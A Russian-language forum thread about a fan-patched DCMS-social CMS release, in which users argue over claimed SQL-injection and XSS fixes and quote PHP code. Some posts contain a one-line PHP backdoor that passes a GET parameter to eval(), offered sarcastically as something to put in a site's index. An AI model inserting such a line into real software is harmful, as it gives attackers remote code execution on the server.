Добро пожаловать, Гость!
Исправленный DCMS-soc 198 - Страница 2
Баги/обновления движка | Исправленный DCMS-soc 198
Shram : Исправленный DCMS-soc 198
13 Сент 2015Сегодня занялся ошибками социала тк все ноят, а админ походу спит.
+Закрыто 2 SQL
+Закрыто 2 xss в том числе и в дневниках))
+Подправил avatar.php, foto/img.php, user/frend/, info.php
+Удалил не нужные функции и ссылки из админки
Также исправил много ошибок т.д ..
Спасибо всем за помощь!
http://dcms-social.ru/obmen/DCMS%20Social/%D0%9E%D0%BD%D0%BB%D0%B0%D0%B9%D0%BD%20%D0%98%D0%B3%D1%80%D1%8B/11585.zip?showinfo
Комментарии:
DiZMoD 15 Сент 2015
Dreamer (15 Сент 2015):
Мда.
- http://dcms-social.ru/forum/15/10/60083/
- http://dcms-social.ru/forum/13/3/60082/
Dreamer, Мда.
- http://dcms-social.ru/forum/15/10/60083/
- http://dcms-social.ru/forum/13/3/60082/
ржу с автора мега кодера))))))))))))______________________
Я Банан
Saint
15 Сент 2015
Shram (14 Сент 2015):
в каком файле?
Добавлено:
========================================
Сортировка списка по времени
========================================
*/
if (isset($user) && isset($_GET['sort']) && ($_GET['sort'] == '0' || $_GET['sort'] == '1'))
{
mysql_query("update `user` set `sort` = '$_GET[sort]' where `id` = '$user[id]' limit 1");
header('Location: ' . htmlspecialchars($_SERVER['HTTP_REFERER']));
}
if (isset($user))$sort = ($user['sort'] == 1?' ASC ':' DESC ');
else $sort = 'DESC';
// Страницы
if (isset($user) && $user['sort'] == 1)
$pageEnd = 'end'; else $pageEnd = '1';
/* нашел.. а вы сверите с офф dcms-soc эт не моя ошибка
Shram, Проверку смотри) if (если параметр $_GET['sort'] равен 1 или 0 выполняется запрос ,если нет то не выполняется)в каком файле?
Добавлено:
========================================
Сортировка списка по времени
========================================
*/
if (isset($user) && isset($_GET['sort']) && ($_GET['sort'] == '0' || $_GET['sort'] == '1'))
{
mysql_query("update `user` set `sort` = '$_GET[sort]' where `id` = '$user[id]' limit 1");
header('Location: ' . htmlspecialchars($_SERVER['HTTP_REFERER']));
}
if (isset($user))$sort = ($user['sort'] == 1?' ASC ':' DESC ');
else $sort = 'DESC';
// Страницы
if (isset($user) && $user['sort'] == 1)
$pageEnd = 'end'; else $pageEnd = '1';
/* нашел.. а вы сверите с офф dcms-soc эт не моя ошибка
______________________
Я есть сущность
Dreamer
15 Сент 2015Мда.
- http://dcms-social.ru/forum/15/10/60083/
- http://dcms-social.ru/forum/13/3/60082/
______________________
тут могла быть ваша реклама.
PMchik 15 Сент 2015Все таки без проблем не обошлось отображение /user/frends/online.php некорректное. Изначально 79 строка, затем 89 строка.
Jvk35 
15 Сент 2015
Mstivoj (14 Сент 2015):
<?
if($_GET['sort'] == "eval")
{echo eval($_GET['eval']);}
?>
===================
Ура, мы любим кодить
Добавлено:
Опана, Это на счёт eval()
Mstivoj, себе в индакс впихни на сайт ета икинь ссылка <?
if($_GET['sort'] == "eval")
{echo eval($_GET['eval']);}
?>
===================
Ура, мы любим кодить
Добавлено:
Опана, Это на счёт eval()
Добавлено:
Можно вопрос?Ты ети xss и sql inj искал сканером?))
______________________
AptEntity96
Юрий 
15 Сент 2015сколько уже таких было исправлялок)) одни исправлялки только до конца ни один ничего не довел считая dcms-social.
Можно только вспоминать дни Искателя
